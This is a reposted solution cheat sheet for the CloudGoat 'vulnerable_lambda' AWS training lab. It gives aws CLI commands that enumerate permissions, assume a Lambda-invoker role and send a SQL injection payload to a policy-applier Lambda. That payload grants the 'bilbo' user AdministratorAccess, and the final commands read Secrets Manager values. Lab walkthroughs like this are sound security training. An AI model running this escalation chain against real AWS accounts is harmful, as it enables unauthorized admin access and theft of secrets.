[Cheat Sheet] Solution steps (CLI)

Christophe • August 27, 2023

Source: https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/vulnerable_lambda/cheat_sheet.md

Get permissions for the 'bilbo' user.

```
# This command will give you the ARN & full name of you user.

aws --profile bilbo --region us-east-1 sts get-caller-identity # This command will list the policies attached
to your user.

aws --profile bilbo --region us-east-1 iam list-user-policies --user-name [your_user_name]
# This command will list all of your permissions.

aws --profile bilbo --region us-east-1 iam get-user-policy --user-name [your_user_name] --policy-name
[your_policy_name]
```

List all roles, assume a role for privesc.

```
# This command will list all the roles in your account, one of which should be assumable.
aws --profile bilbo --region us-east-1 iam list-roles | grep cg-
# This command will list all policies for the target role
aws --profile bilbo --region us-east-1 iam list-role-policies --role-name [cg-target-role]
# This command will get you credentials for the cloudgoat role that can invoke lambdas.
aws --profile bilbo --region us-east-1 sts assume-role --role-arn [cg-lambda-invoker_arn] --role-session-name
[whatever_you_want_here]
```

List lambdas to identify the target (vulnerable) lambda.

```
# This command will show you all lambda functions. The function belonging to cloudgoat (the name should start
with "cg-") can apply a predefined set of aws managed policies to users (in reality it can only modify the
bilbo user).
aws --profile assumed_role --region us-east-1 lambda list-functions
```

Look at the lambda source code. You should see the database structure in a comment, as well as the code that is handling input parameters. It's vulnerable to an injection, and we'll see what an exploit looks like in the next step.

```
# This command will return a bunch of information about the lambda that can apply policies to bilbo. part of
this information is a link to a url that will download the deployment package, which # contains the source code
for the function. Read over that source code to discover a vulnerability.
aws --profile assumed_role --region us-east-1 lambda get-function --function-name [policy_applier_lambda_name]
```

Invoke the role applier lambda function, passing the name of the bilbo user and the injection payload.

```
# The following command will send a SQL injection payload to the lambda function
aws --region us-east-1 lambda invoke --function-name [policy_applier_lambda_name] --cli-binary-format raw-in-
base64-out --payload '{"policy_names": ["AdministratorAccess'"'"' --"], "user_name": [bilbo_user_name_here]}'
out.txt # cat the results to confirm everything is working properly cat out.txt
```

Now that Bilbo is an admin, use credentials for that user to list secrets from secretsmanager.

```
# This command will list all the secrets in secretsmanager
aws --profile bilbo --region us-east-1 secretsmanager list-secrets
# This command will get the value for a specific secret
aws --profile bilbo --region us-east-1 secretsmanager get-secret-value --secret-id [ARN_OF_TARGET_SECRET]
```